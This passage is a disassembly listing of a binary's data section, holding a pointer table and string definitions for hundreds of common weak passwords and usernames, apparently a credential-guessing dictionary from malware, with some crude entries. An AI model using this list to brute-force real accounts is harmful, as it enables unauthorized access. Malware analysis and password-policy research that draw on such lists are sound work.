		dd offset aRules	; "rules"
		dd offset aRunning_0	; "running"
		dd offset aRush		; "rush"
		dd offset aRuth		; "ruth"
		dd offset aSafe		; "safe"
		dd offset aSalami	; "salami"
		dd offset aSale		; "sale"
		dd offset aSalt		; "salt"
		dd offset aSamantha	; "samantha"
		dd offset aSample	; "sample"
		dd offset aSandra	; "sandra"
		dd offset aSandy	; "sandy"
		dd offset aSara		; "sara"
		dd offset aSarah	; "sarah"
		dd offset aSaturday	; "saturday"
		dd offset aSaturn	; "saturn"
		dd offset aSaxon	; "saxon"
		dd offset aScamper	; "scamper"
		dd offset aScheme	; "scheme"
		dd offset aSchool	; "school"
		dd offset aSchoolsucks	; "schoolsucks"
		dd offset aScifi	; "scifi"
		dd offset aScorpion	; "scorpion"
		dd offset aScott	; "scott"
		dd offset aScotty	; "scotty"
		dd offset aScout	; "scout"
		dd offset aSearch	; "search"
		dd offset aSecurity	; "security"
		dd offset aSeed		; "seed"
		dd offset aSega		; "sega"
		dd offset aSensor	; "sensor"
		dd offset aSentinel	; "sentinel"
		dd offset aSentry	; "sentry"
		dd offset aSerenity	; "serenity"
		dd offset aSerial_0	; "serial"
		dd offset aService	; "service"
		dd offset aSesame	; "sesame"
		dd offset aSexy		; "sexy"
		dd offset aShannon	; "shannon"
		dd offset aSharc	; "sharc"
		dd offset aShark	; "shark"
		dd offset aSharks	; "sharks"
		dd offset aSharon	; "sharon"
		dd offset aSheffiel	; "sheffiel"
		dd offset aSheldon	; "sheldon"
		dd offset aShell	; "shell"
		dd offset aSherri	; "sherri"
		dd offset aShift	; "shift"
		dd offset aShirley	; "shirley"
		dd offset aShit		; "shit"
		dd offset aShitpot	; "shitpot"
		dd offset aShiva	; "shiva"
		dd offset aShivers	; "shivers"
		dd offset aShort	; "short"
		dd offset aShuttle	; "shuttle"
		dd offset aSick		; "sick"
		dd offset aSierra	; "sierra"
		dd offset aSignatur	; "signatur"
		dd offset aSilver	; "silver"
		dd offset aSimcity	; "simcity"
		dd offset aSimon	; "simon"
		dd offset aSimple	; "simple"
		dd offset aSimpsons	; "simpsons"
		dd offset aSimulati	; "simulati"
		dd offset aSinger	; "singer"
		dd offset aSingle	; "single"
		dd offset aSite		; "site"
		dd offset aSkull	; "skull"
		dd offset aSlave	; "slave"
		dd offset aSlick	; "slick"
		dd offset aSliders	; "sliders"
		dd offset aSlow		; "slow"
		dd offset aSlut		; "slut"
		dd offset aSmall	; "small"
		dd offset aSmart	; "smart"
		dd offset aSmile	; "smile"
		dd offset aSmiles	; "smiles"
		dd offset aSmooch	; "smooch"
		dd offset aSmother	; "smother"
		dd offset aSmtp		; "smtp"
		dd offset aSmut		; "smut"
		dd offset aSnach	; "snach"
		dd offset aSnafu	; "snafu"
		dd offset aSnake	; "snake"
		dd offset aSnatch	; "snatch"
		dd offset aSnoopy	; "snoopy"
		dd offset aSoap		; "soap"
		dd offset aSocial	; "social"
		dd offset aSocrates	; "socrates"
		dd offset aSodomy	; "sodomy"
		dd offset aSoft		; "soft"
		dd offset aSoftware	; "software"
		dd offset aSomebody	; "somebody"
		dd offset aSondra	; "sondra"
		dd offset aSonia	; "sonia"
		dd offset aSonic	; "sonic"
		dd offset aSonya	; "sonya"
		dd offset aSossina	; "sossina"
		dd offset aSource	; "source"
		dd offset aSouth	; "south"
		dd offset aSpaceshi	; "spaceshi"
		dd offset aSparrows	; "sparrows"
		dd offset aSpear	; "spear"
		dd offset aSpell	; "spell"
		dd offset aSpice	; "spice"
		dd offset aSpider	; "spider"
		dd offset aSpiderma	; "spiderma"
		dd offset aSpit		; "spit"
		dd offset aSpred	; "spred"
		dd offset aSpring	; "spring"
		dd offset aSpringer	; "springer"
		dd offset aSpunk	; "spunk"
		dd offset aSquires	; "squires"
		dd offset aSr71		; "sr71"
		dd offset aStacey	; "stacey"
		dd offset aStaci	; "staci"
		dd offset aStacie	; "stacie"
		dd offset aStacy	; "stacy"
		dd offset aStar		; "star"
		dd offset aStarship	; "starship"
		dd offset aStart	; "start"
		dd offset aStartrek	; "startrek"
		dd offset aStartup	; "startup"
		dd offset aStarwars	; "starwars"
		dd offset aSteak	; "steak"
		dd offset aSteal	; "steal"
		dd offset aSteel	; "steel"
		dd offset aSteph	; "steph"
		dd offset aStephani	; "stephani"
		dd offset aStereo	; "stereo"
		dd offset aSteve	; "steve"
		dd offset aStoneage	; "stoneage"
		dd offset aStoned	; "stoned"
		dd offset aStones	; "stones"
		dd offset aStrange	; "strange"
		dd offset aStrangle	; "strangle"
		dd offset aStratfor	; "stratfor"
		dd offset aStreetfi	; "streetfi"
		dd offset aString	; "string"
		dd offset aStrip	; "strip"
		dd offset aStudent	; "student"
		dd offset aStuttgar	; "stuttgar"
		dd offset aSubscrib	; "subscrib"
		dd offset aSubway	; "subway"
		dd offset aSuccess	; "success"
		dd offset aSuck		; "suck"
		dd offset aSuckmydi	; "suckmydi"
		dd offset aSucks	; "sucks"
		dd offset aSummer	; "summer"
		dd offset aSunday	; "sunday"
		dd offset aSuperman	; "superman"
		dd offset aSuperson	; "superson"
		dd offset aSupersta	; "supersta"
		dd offset aSuperuse	; "superuse"
		dd offset aSupervis	; "supervis"
		dd offset aSupport	; "support"
		dd offset aSupporte	; "supporte"
		dd offset aSurfer	; "surfer"
		dd offset aSurfing	; "surfing"
		dd offset aSusan	; "susan"
		dd offset aSusanne	; "susanne"
		dd offset aSusie	; "susie"
		dd offset aSuzanne	; "suzanne"
		dd offset aSuzie	; "suzie"
		dd offset aSwearer	; "swearer"
		dd offset aSweat	; "sweat"
		dd offset aSwitch	; "switch"
		dd offset aSword	; "sword"
		dd offset aSybil	; "sybil"
		dd offset aSymmetry	; "symmetry"
		dd offset aSysadmin	; "sysadmin"
		dd offset aSysop	; "sysop"
		dd offset aTabasco	; "tabasco"
		dd offset aTalk		; "talk"
		dd offset aTall		; "tall"
		dd offset aTamara	; "tamara"
		dd offset aTami		; "tami"
		dd offset aTamie	; "tamie"
		dd offset aTammy	; "tammy"
		dd offset aTangerin	; "tangerin"
		dd offset aTango	; "tango"
		dd offset aTape		; "tape"
		dd offset aTara		; "tara"
		dd offset aTarget	; "target"
		dd offset aTarragon	; "tarragon"
		dd offset aTaylor	; "taylor"
		dd offset aTeacher	; "teacher"
		dd offset aTeam		; "team"
		dd offset aTeapot	; "teapot"
		dd offset aTears	; "tears"
		dd offset aTech		; "tech"
		dd offset aTeen		; "teen"
		dd offset aTeenage	; "teenage"
		dd offset aTelephon	; "telephon"
		dd offset aTelnet	; "telnet"
		dd offset aTemptati	; "temptati"
		dd offset aTennis	; "tennis"
		dd offset aTera		; "tera"
		dd offset aTerminal	; "terminal"
		dd offset aTerminat	; "terminat"
		dd offset aTess		; "tess"
		dd offset aTetris	; "tetris"
		dd offset aText		; "text"
		dd offset aThailand	; "thailand"
		dd offset aTheresa	; "theresa"
		dd offset aThin		; "thin"
		dd offset aThursday	; "thursday"
		dd offset aTiffany	; "tiffany"
		dd offset aTiger	; "tiger"
		dd offset aTime		; "time"
		dd offset aTina		; "tina"
		dd offset aTits		; "tits"
		dd offset aToad		; "toad"
		dd offset aToggle	; "toggle"
		dd offset aToken	; "token"
		dd offset aTokenrin	; "tokenrin"
		dd offset aTomato	; "tomato"
		dd offset aTopograp	; "topograp"
		dd offset aTortoise	; "tortoise"
		dd offset aToxic	; "toxic"
		dd offset aToyota	; "toyota"
		dd offset aTraci	; "traci"
		dd offset aTracie	; "tracie"
		dd offset aTracy	; "tracy"
		dd offset aTrails	; "trails"
		dd offset aTransfer	; "transfer"
		dd offset aTrap		; "trap"
		dd offset aTrapdoor	; "trapdoor"
		dd offset aTree		; "tree"
		dd offset aTrek		; "trek"
		dd offset aTrisha	; "trisha"
		dd offset aTrivial	; "trivial"
		dd offset aTrojan	; "trojan"
		dd offset aTrombone	; "trombone"
		dd offset aTron		; "tron"
		dd offset aTrue		; "true"
		dd offset aTruth	; "truth"
		dd offset aTubas	; "tubas"
		dd offset aTuesday	; "tuesday"
		dd offset aTurn		; "turn"
		dd offset aTuttle	; "tuttle"
		dd offset aUgly		; "ugly"
		dd offset aUmesh	; "umesh"
		dd offset aUncle	; "uncle"
		dd offset aUndo		; "undo"
		dd offset aUnhappy	; "unhappy"
		dd offset aUnicorn	; "unicorn"
		dd offset aUniform	; "uniform"
		dd offset aUniversa	; "universa"
		dd offset aUniverse	; "universe"
		dd offset aUniversi	; "universi"
		dd offset aUnknown_1	; "unknown"
		dd offset aUnlock	; "unlock"
		dd offset aUpload	; "upload"
		dd offset aUranus	; "uranus"
		dd offset aUrchin	; "urchin"
		dd offset aUrsula	; "ursula"
		dd offset aUsenet	; "usenet"
		dd offset aUsermane	; "usermane"
		dd offset aUsername	; "username"
		dd offset aUsmc		; "usmc"
		dd offset aUtil		; "util"
		dd offset aUtility	; "utility"
		dd offset aUucp		; "uucp"
		dd offset aVagina	; "vagina"
		dd offset aValerie	; "valerie"
		dd offset aVampire	; "vampire"
		dd offset aVasant	; "vasant"
		dd offset aVenus	; "venus"
		dd offset aVeronica	; "veronica"
		dd offset aVertigo	; "vertigo"
		dd offset aVicky	; "vicky"
		dd offset aVictor	; "victor"
		dd offset aVideo	; "video"
		dd offset aVideogam	; "videogam"
		dd offset aVillage	; "village"
		dd offset aVirgin	; "virgin"
		dd offset aVirginia	; "virginia"
		dd offset aVirus	; "virus"
		dd offset aVisitor	; "visitor"
		dd offset aVisual	; "visual"
		dd offset aVisualba	; "visualba"
		dd offset aVodka	; "vodka"
		dd offset aWaco		; "waco"
		dd offset aWard		; "ward"
		dd offset aWarez	; "warez"
		dd offset aWarfare	; "warfare"
		dd offset aWargames	; "wargames"
		dd offset aWarp		; "warp"
		dd offset aWarren	; "warren"
		dd offset aWasp		; "wasp"
		dd offset aWatchwor	; "watchwor"
		dd offset aWater	; "water"
		dd offset aWave		; "wave"
		dd offset aWebpage	; "webpage"
		dd offset aWednesda	; "wednesda"
		dd offset aWeed		; "weed"
		dd offset aWeenie	; "weenie"
		dd offset aWell		; "well"
		dd offset aWendi	; "wendi"
		dd offset aWendy	; "wendy"
		dd offset aWerewolf	; "werewolf"
		dd offset aWest		; "west"
		dd offset aWestern	; "western"
		dd offset aWhatever	; "whatever"
		dd offset aWhatnot	; "whatnot"
		dd offset aWhisky	; "whisky"
		dd offset aWhite	; "white"
		dd offset aWhiting	; "whiting"
		dd offset aWhitney	; "whitney"
		dd offset aWholesal	; "wholesal"
		dd offset aWhore	; "whore"
		dd offset aWill		; "will"
		dd offset aWilliam	; "william"
		dd offset aWilliams	; "williams"
		dd offset aWillie	; "willie"
		dd offset aWilma	; "wilma"
		dd offset aWindows	; "windows"
		dd offset aWine		; "wine"
		dd offset aWing		; "wing"
		dd offset aWinston	; "winston"
		dd offset aWired	; "wired"
		dd offset aWisconsi	; "wisconsi"
		dd offset aWiseass	; "wiseass"
		dd offset aWithin	; "within"
		dd offset aWizard	; "wizard"
		dd offset aWolf		; "wolf"
		dd offset aWolverin	; "wolverin"
		dd offset aWoman	; "woman"
		dd offset aWombat	; "wombat"
		dd offset aWomen	; "women"
		dd offset aWood		; "wood"
		dd offset aWoodwind	; "woodwind"
		dd offset aWord		; "word"
		dd offset aWordperf	; "wordperf"
		dd offset aWorf		; "worf"
		dd offset aWork		; "work"
		dd offset aWorm		; "worm"
		dd offset aWormwood	; "wormwood"
		dd offset aWwii		; "wwii"
		dd offset aWyoming	; "wyoming"
		dd offset aXena		; "xena"
		dd offset aXfer		; "xfer"
		dd offset aXman		; "xman"
		dd offset aXmen		; "xmen"
		dd offset aXmodem	; "xmodem"
		dd offset aXray		; "xray"
		dd offset aXyzzy	; "xyzzy"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aYankee	; "yankee"
		dd offset aYellow	; "yellow"
		dd offset aYellowst	; "yellowst"
		dd offset aYolanda	; "yolanda"
		dd offset aYosemite	; "yosemite"
		dd offset aYoung	; "young"
		dd offset aZebra	; "zebra"
		dd offset aZeitgeis	; "zeitgeis"
		dd offset aZiggy	; "ziggy"
		dd offset aZimmerma	; "zimmerma"
		dd offset aZmodem	; "zmodem"
		dd offset aZombie	; "zombie"
		dd offset aZulu		; "zulu"
		dd offset a00000000	; "00000000"
		dd offset aTester	; "tester"
		dd offset aTestin	; "testin"
		dd offset aRoss		; "Ross"
		dd offset aRosco	; "Rosco"
		dd offset aRoscop	; "RoscoP"
		dd offset aRoscopcoltrane ; "RoscoPColtrane"
		dd offset aLol		; "lol"
		dd offset aD00d		; "d00d"
		dd offset aDudette	; "dudette"
		dd offset aDud3		; "dud3"
		dd offset aAl3x		; "Al3x"
		dd offset aAlexander	; "Alexander"
		dd offset aDonaldduck	; "donaldduck"
		dd offset aWileecoyote	; "wileecoyote"
		dd offset aWindowz	; "windowz"
		dd offset aWindoze	; "windoze"
		dd offset aWindose	; "windose"
		dd offset aBilly	; "billy"
		dd offset aM		; "M$"
		dd offset aMs		; "MS"
		dd offset aWindowsxp	; "WindowsXP"
		dd offset aWindows2k	; "windows2k"
		dd offset aWindowsme	; "windowsME"
		dd offset aWindows98	; "windows98"
		dd offset aWindows95	; "windows95"
		dd offset aWindozexp	; "windozexp"
		dd offset aWindoze2k	; "windoze2k"
		dd offset aWindozeme	; "windozeME"
		dd offset aWindoze98	; "windoze98"
		dd offset aWindoze95	; "windoze95"
		dd offset aWh0r3	; "wh0r3"
		dd offset aHo		; "ho"
		dd offset aWh0re	; "wh0re"
		dd offset aHax		; "hax"
		dd offset aHaxing	; "haxing"
		dd offset aH4x1ng	; "h4x1ng"
		dd offset aH4x0r1ng	; "h4x0r1ng"
		dd offset aH4x0ring	; "h4x0ring"
		dd offset aAda		; "ada"
		dd offset aAlbatross	; "albatross"
		dd offset aAlf		; "alf"
		dd offset aAma		; "ama"
		dd offset aAmorphous	; "amorphous"
		dd offset aAmy		; "amy"
		dd offset aAndromache	; "andromache"
		dd offset aAnn		; "ann"
		dd offset aAnthropogenic ; "anthropogenic"
		dd offset aAsd		; "asd"
		dd offset aAsm		; "asm"
		dd offset aAtmosphere	; "atmosphere"
		dd offset aBeethoven	; "beethoven"
		dd offset aBicameral	; "bicameral"
		dd offset aBob		; "bob"
		dd offset aBsd		; "bsd"
		dd offset aCad		; "cad"
		dd offset aCampanile	; "campanile"
		dd offset aCat		; "cat"
		dd offset aCatherine	; "catherine"
		dd offset aChemistry	; "chemistry"
		dd offset aChristina	; "christina"
		dd offset aChristine	; "christine"
		dd offset aCommrades	; "commrades"
		dd offset aCornelius	; "cornelius"
		dd offset aDeb		; "deb"
		dd offset aDesperate	; "desperate"
		dd offset aDiscovery	; "discovery"
		dd offset aDog		; "dog"
		dd offset aDos		; "dos"
		dd offset aEdinburgh	; "edinburgh"
		dd offset aEiderdown	; "eiderdown"
		dd offset aElizabeth	; "elizabeth"
		dd offset aEnterprise	; "enterprise"
		dd offset aEstablish	; "establish"
		dd offset aExtension	; "extension"
		dd offset aFoolproof	; "foolproof"
		dd offset aForesight	; "foresight"
		dd offset aFun		; "fun"
		dd offset aGnu		; "gnu"
		dd offset aHal		; "hal"
		dd offset aHappening	; "happening"
		dd offset aIbm		; "ibm"
		dd offset aImbroglio	; "imbroglio"
		dd offset aInnocuous	; "innocuous"
		dd offset aJen		; "jen"
		dd offset aJoy		; "joy"
		dd offset aKey		; "key"
		dd offset aKim		; "kim"
		dd offset aLamination	; "lamination"
		dd offset aLee		; "lee"
		dd offset aLiz		; "liz"
		dd offset aMacintosh	; "macintosh"
		dd offset aMgr		; "mgr"
		dd offset aMit		; "mit"
		dd offset aNet		; "net"
		dd offset aNew		; "new"
		dd offset aNutrition	; "nutrition"
		dd offset aOceanography	; "oceanography"
		dd offset aPad		; "pad"
		dd offset aPam		; "pam"
		dd offset aPercolate	; "percolate"
		dd offset aPersimmon	; "persimmon"
		dd offset aPolynomial	; "polynomial"
		dd offset aPondering	; "pondering"
		dd offset aPrinceton	; "princeton"
		dd offset aProfessor	; "professor"
		dd offset aPub		; "pub"
		dd offset aRachmaninoff	; "rachmaninoff"
		dd offset aRje		; "rje"
		dd offset aRochester	; "rochester"
		dd offset aSal		; "sal"
		dd offset aSheffield	; "sheffield"
		dd offset aSignature	; "signature"
		dd offset aStephanie	; "stephanie"
		dd offset aStratford	; "stratford"
		dd offset aStuttgart	; "stuttgart"
		dd offset aSun		; "sun"
		dd offset aSuperstage	; "superstage"
		dd offset aSuperuser	; "superuser"
		dd offset aSupported	; "supported"
		dd offset aSys		; "sys"
		dd offset aTangerine	; "tangerine"
		dd offset aTelephone	; "telephone"
		dd offset aTemptation	; "temptation"
		dd offset aTopography	; "topography"
		dd offset aTty		; "tty"
		dd offset aWholesale	; "wholesale"
		dd offset aWilliamsburg	; "williamsburg"
		dd offset aWisconsin	; "wisconsin"
		dd offset aXyz		; "xyz"
		dd offset aYellowstone	; "yellowstone"
		dd offset aZap		; "zap"
		dd offset aZimmerman	; "zimmerman"
		dd offset byte_43C63C
		align 8
dword_430B28	dd 10h							; sub_40F6F1+B66r ...
aZimmerman	db 'zimmerman',0        ; DATA XREF: ___:00430B1Co
		align 4
aZap		db 'zap',0              ; DATA XREF: ___:00430B18o
aYellowstone	db 'yellowstone',0      ; DATA XREF: ___:00430B14o
aXyz		db 'xyz',0              ; DATA XREF: ___:00430B10o
aWisconsin	db 'wisconsin',0        ; DATA XREF: ___:00430B0Co
		align 4
aWilliamsburg	db 'williamsburg',0     ; DATA XREF: ___:00430B08o
		align 4
aWholesale	db 'wholesale',0        ; DATA XREF: ___:00430B04o
		align 4
aTty		db 'tty',0              ; DATA XREF: ___:00430B00o
aTopography	db 'topography',0       ; DATA XREF: ___:00430AFCo
		align 4
aTemptation	db 'temptation',0       ; DATA XREF: ___:00430AF8o
		align 10h
aTelephone	db 'telephone',0        ; DATA XREF: ___:00430AF4o
		align 4
aTangerine	db 'tangerine',0        ; DATA XREF: ___:00430AF0o
		align 4
aSys		db 'sys',0              ; DATA XREF: ___:00430AECo
aSupported	db 'supported',0        ; DATA XREF: ___:00430AE8o
		align 4
aSuperuser	db 'superuser',0        ; DATA XREF: ___:00430AE4o
		align 4
aSuperstage	db 'superstage',0       ; DATA XREF: ___:00430AE0o
		align 10h
aSun		db 'sun',0              ; DATA XREF: ___:00430ADCo
aStuttgart	db 'stuttgart',0        ; DATA XREF: ___:00430AD8o
		align 10h
aStratford	db 'stratford',0        ; DATA XREF: ___:00430AD4o
		align 4
aStephanie	db 'stephanie',0        ; DATA XREF: ___:00430AD0o
		align 4
aSignature	db 'signature',0        ; DATA XREF: ___:00430ACCo
		align 4
aSheffield	db 'sheffield',0        ; DATA XREF: ___:00430AC8o
		align 10h
aSal		db 'sal',0              ; DATA XREF: ___:00430AC4o
aRochester	db 'rochester',0        ; DATA XREF: ___:00430AC0o
		align 10h
aRje		db 'rje',0              ; DATA XREF: ___:00430ABCo
aRachmaninoff	db 'rachmaninoff',0     ; DATA XREF: ___:00430AB8o
		align 4
aPub		db 'pub',0              ; DATA XREF: ___:00430AB4o
aProfessor	db 'professor',0        ; DATA XREF: ___:00430AB0o
		align 4
aPrinceton	db 'princeton',0        ; DATA XREF: ___:00430AACo
		align 10h
aPondering	db 'pondering',0        ; DATA XREF: ___:00430AA8o
		align 4
aPolynomial	db 'polynomial',0       ; DATA XREF: ___:00430AA4o
		align 4
aPersimmon	db 'persimmon',0        ; DATA XREF: ___:00430AA0o
		align 4
aPercolate	db 'percolate',0        ; DATA XREF: ___:00430A9Co
		align 10h
aPam		db 'pam',0              ; DATA XREF: ___:00430A98o
aPad		db 'pad',0              ; DATA XREF: ___:00430A94o
aOceanography	db 'oceanography',0     ; DATA XREF: ___:00430A90o
		align 4
aNutrition	db 'nutrition',0        ; DATA XREF: ___:00430A8Co
		align 4
aNew		db 'new',0              ; DATA XREF: ___:00430A88o
aNet		db 'net',0              ; DATA XREF: ___:00430A84o
aMit		db 'mit',0              ; DATA XREF: ___:00430A80o
aMgr		db 'mgr',0              ; DATA XREF: ___:00430A7Co
aMacintosh	db 'macintosh',0        ; DATA XREF: ___:00430A78o
		align 10h
aLiz		db 'liz',0              ; DATA XREF: ___:00430A74o
aLee		db 'lee',0              ; DATA XREF: ___:00430A70o
aLamination	db 'lamination',0       ; DATA XREF: ___:00430A6Co
		align 4
aKim		db 'kim',0              ; DATA XREF: ___:00430A68o
aJoy		db 'joy',0              ; DATA XREF: ___:00430A60o
aJen		db 'jen',0              ; DATA XREF: ___:00430A5Co
aInnocuous	db 'innocuous',0        ; DATA XREF: ___:00430A58o
		align 4
aImbroglio	db 'imbroglio',0        ; DATA XREF: ___:00430A54o
		align 4
aIbm		db 'ibm',0              ; DATA XREF: ___:00430A50o
aHappening	db 'happening',0        ; DATA XREF: ___:00430A4Co
		align 4
aHal		db 'hal',0              ; DATA XREF: ___:00430A48o
aGnu		db 'gnu',0              ; DATA XREF: ___:00430A44o
aFun		db 'fun',0              ; DATA XREF: ___:00430A40o
aForesight	db 'foresight',0        ; DATA XREF: ___:00430A3Co
		align 10h
aFoolproof	db 'foolproof',0        ; DATA XREF: ___:00430A38o
		align 4
aExtension	db 'extension',0        ; DATA XREF: ___:00430A34o
		align 4
aEstablish	db 'establish',0        ; DATA XREF: ___:00430A30o
		align 4
aEnterprise	db 'enterprise',0       ; DATA XREF: ___:00430A2Co
		align 10h
aElizabeth	db 'elizabeth',0        ; DATA XREF: ___:00430A28o
		align 4
aEiderdown	db 'eiderdown',0        ; DATA XREF: ___:00430A24o
		align 4
aEdinburgh	db 'edinburgh',0        ; DATA XREF: ___:00430A20o
		align 4
aDos		db 'dos',0              ; DATA XREF: ___:00430A1Co
aDog		db 'dog',0              ; DATA XREF: ___:00430A18o
aDiscovery	db 'discovery',0        ; DATA XREF: ___:00430A14o
		align 4
aDesperate	db 'desperate',0        ; DATA XREF: ___:00430A10o
		align 4
aDeb		db 'deb',0              ; DATA XREF: ___:00430A0Co
aCornelius	db 'cornelius',0        ; DATA XREF: ___:00430A08o
		align 4
aCommrades	db 'commrades',0        ; DATA XREF: ___:00430A04o
		align 10h
aChristine	db 'christine',0        ; DATA XREF: ___:00430A00o
		align 4
aChristina	db 'christina',0        ; DATA XREF: ___:004309FCo
		align 4
aChemistry	db 'chemistry',0        ; DATA XREF: ___:004309F8o
		align 4
aCatherine	db 'catherine',0        ; DATA XREF: ___:004309F4o
		align 10h
aCat		db 'cat',0              ; DATA XREF: ___:004309F0o
aCampanile	db 'campanile',0        ; DATA XREF: ___:004309ECo
		align 10h
aCad		db 'cad',0              ; DATA XREF: ___:004309E8o
aBsd		db 'bsd',0              ; DATA XREF: ___:004309E4o
aBob		db 'bob',0              ; DATA XREF: ___:004309E0o
aBicameral	db 'bicameral',0        ; DATA XREF: ___:004309DCo
		align 4
aBeethoven	db 'beethoven',0        ; DATA XREF: ___:004309D8o
		align 4
aAtmosphere	db 'atmosphere',0       ; DATA XREF: ___:004309D4o
		align 10h
aAsm		db 'asm',0              ; DATA XREF: ___:004309D0o
aAsd		db 'asd',0              ; DATA XREF: ___:004309CCo
aAnthropogenic	db 'anthropogenic',0    ; DATA XREF: ___:004309C8o
		align 4
aAnn		db 'ann',0              ; DATA XREF: ___:004309C4o
aAndromache	db 'andromache',0       ; DATA XREF: ___:004309C0o
		align 4
aAmy		db 'amy',0              ; DATA XREF: ___:004309BCo
aAmorphous	db 'amorphous',0        ; DATA XREF: ___:004309B8o
		align 4
aAma		db 'ama',0              ; DATA XREF: ___:004309B4o
aAlf		db 'alf',0              ; DATA XREF: ___:004309B0o
aAlbatross	db 'albatross',0        ; DATA XREF: ___:004309ACo
		align 4
aAda		db 'ada',0              ; DATA XREF: ___:004309A8o
aH4x0ring	db 'h4x0ring',0         ; DATA XREF: ___:004309A4o
		align 4
aH4x0r1ng	db 'h4x0r1ng',0         ; DATA XREF: ___:004309A0o
		align 4
aH4x1ng		db 'h4x1ng',0           ; DATA XREF: ___:0043099Co
		align 10h
aHaxing		db 'haxing',0           ; DATA XREF: ___:00430998o
		align 4
aHax		db 'hax',0              ; DATA XREF: ___:00430994o
aWh0re		db 'wh0re',0            ; DATA XREF: ___:00430990o
		align 4
aHo		db 'ho',0               ; DATA XREF: ___:0043098Co
		align 4
aWh0r3		db 'wh0r3',0            ; DATA XREF: ___:00430988o
		align 10h
aWindoze95	db 'windoze95',0        ; DATA XREF: ___:00430984o
		align 4
aWindoze98	db 'windoze98',0        ; DATA XREF: ___:00430980o
		align 4
aWindozeme	db 'windozeME',0        ; DATA XREF: ___:0043097Co
		align 4
aWindoze2k	db 'windoze2k',0        ; DATA XREF: ___:00430978o
		align 10h
aWindozexp	db 'windozexp',0        ; DATA XREF: ___:00430974o
		align 4
aWindows95	db 'windows95',0        ; DATA XREF: ___:00430970o
		align 4
aWindows98	db 'windows98',0        ; DATA XREF: ___:0043096Co
		align 4
aWindowsme	db 'windowsME',0        ; DATA XREF: ___:00430968o
		align 10h
aWindows2k	db 'windows2k',0        ; DATA XREF: ___:00430964o
		align 4
aWindowsxp	db 'WindowsXP',0        ; DATA XREF: ___:00430960o
		align 4
aMs		db 'MS',0               ; DATA XREF: ___:0043095Co
		align 4
aM		db 'M$',0               ; DATA XREF: ___:00430958o
		align 10h
aBilly		db 'billy',0            ; DATA XREF: ___:00430954o
		align 4
aWindose	db 'windose',0          ; DATA XREF: ___:00430950o
aWindoze	db 'windoze',0          ; DATA XREF: ___:0043094Co
aWindowz	db 'windowz',0          ; DATA XREF: ___:00430948o
aWileecoyote	db 'wileecoyote',0      ; DATA XREF: ___:00430944o
aDonaldduck	db 'donaldduck',0       ; DATA XREF: ___:00430940o
		align 4
aAlexander	db 'Alexander',0        ; DATA XREF: ___:0043093Co
		align 4
aAl3x		db 'Al3x',0             ; DATA XREF: ___:00430938o
		align 4
aDud3		db 'dud3',0             ; DATA XREF: ___:00430934o
		align 4
aDudette	db 'dudette',0          ; DATA XREF: ___:00430930o
aD00d		db 'd00d',0             ; DATA XREF: ___:0043092Co
		align 4
aLol		db 'lol',0              ; DATA XREF: ___:00430928o
aRoscopcoltrane	db 'RoscoPColtrane',0   ; DATA XREF: ___:00430924o
		align 4
aRoscop		db 'RoscoP',0           ; DATA XREF: ___:00430920o
		align 10h
aRosco		db 'Rosco',0            ; DATA XREF: ___:0043091Co
		align 4
aRoss		db 'Ross',0             ; DATA XREF: ___:00430918o
		align 10h
aTestin		db 'testin',0           ; DATA XREF: ___:00430914o
		align 4
aTester		db 'tester',0           ; DATA XREF: ___:00430910o
		align 10h
a00000000	db '00000000',0         ; DATA XREF: ___:0043090Co
		align 4
aZulu		db 'zulu',0             ; DATA XREF: ___:00430908o
		align 4
aZombie		db 'zombie',0           ; DATA XREF: ___:00430904o
		align 4
aZmodem		db 'zmodem',0           ; DATA XREF: ___:00430900o
		align 4
aZimmerma	db 'zimmerma',0         ; DATA XREF: ___:004308FCo
		align 10h
aZiggy		db 'ziggy',0            ; DATA XREF: ___:004308F8o
		align 4
aZeitgeis	db 'zeitgeis',0         ; DATA XREF: ___:004308F4o
		align 4
aZebra		db 'zebra',0            ; DATA XREF: ___:004308F0o
		align 4
aYoung		db 'young',0            ; DATA XREF: ___:004308ECo
		align 4
aYosemite	db 'yosemite',0         ; DATA XREF: ___:004308E8o
		align 10h
aYolanda	db 'yolanda',0          ; DATA XREF: ___:004308E4o
aYellowst	db 'yellowst',0         ; DATA XREF: ___:004308E0o
		align 4
aYellow		db 'yellow',0           ; DATA XREF: ___:004308DCo
		align 4
aYankee		db 'yankee',0           ; DATA XREF: ___:004308D8o
		align 4
aYang		db 'yang',0             ; DATA XREF: ___:004308D4o
		align 4
aYaco		db 'yaco',0             ; DATA XREF: ___:004308D0o
		align 4
aXyzzy		db 'xyzzy',0            ; DATA XREF: ___:004308CCo
		align 4
aXray		db 'xray',0             ; DATA XREF: ___:004308C8o
		align 4
aXmodem		db 'xmodem',0           ; DATA XREF: ___:004308C4o
		align 4
aXmen		db 'xmen',0             ; DATA XREF: ___:004308C0o
		align 4
aXman		db 'xman',0             ; DATA XREF: ___:004308BCo
		align 4
aXfer		db 'xfer',0             ; DATA XREF: ___:004308B8o
		align 4
aXena		db 'xena',0             ; DATA XREF: ___:004308B4o
		align 4
aWyoming	db 'wyoming',0          ; DATA XREF: ___:004308B0o
aWwii		db 'wwii',0             ; DATA XREF: ___:004308ACo
		align 4
aWormwood	db 'wormwood',0         ; DATA XREF: ___:004308A8o
		align 4
aWorm		db 'worm',0             ; DATA XREF: ___:004308A4o
		align 10h
aWork		db 'work',0             ; DATA XREF: ___:004308A0o
		align 4
aWorf		db 'worf',0             ; DATA XREF: ___:0043089Co
		align 10h
aWordperf	db 'wordperf',0         ; DATA XREF: ___:00430898o
		align 4
aWord		db 'word',0             ; DATA XREF: ___:00430894o
		align 4
aWoodwind	db 'woodwind',0         ; DATA XREF: ___:00430890o
		align 10h
aWood		db 'wood',0             ; DATA XREF: ___:0043088Co
		align 4
aWomen		db 'women',0            ; DATA XREF: ___:00430888o
		align 10h
aWombat		db 'wombat',0           ; DATA XREF: ___:00430884o
		align 4
aWoman		db 'woman',0            ; DATA XREF: ___:00430880o
		align 10h
aWolverin	db 'wolverin',0         ; DATA XREF: ___:0043087Co
		align 4
aWolf		db 'wolf',0             ; DATA XREF: ___:00430878o
		align 4
aWizard		db 'wizard',0           ; DATA XREF: ___:00430874o
		align 4
aWithin		db 'within',0           ; DATA XREF: ___:00430870o
		align 4
aWiseass	db 'wiseass',0          ; DATA XREF: ___:0043086Co
aWisconsi	db 'wisconsi',0         ; DATA XREF: ___:00430868o
		align 4
aWired		db 'wired',0            ; DATA XREF: ___:00430864o
		align 10h
aWinston	db 'winston',0          ; DATA XREF: ___:00430860o
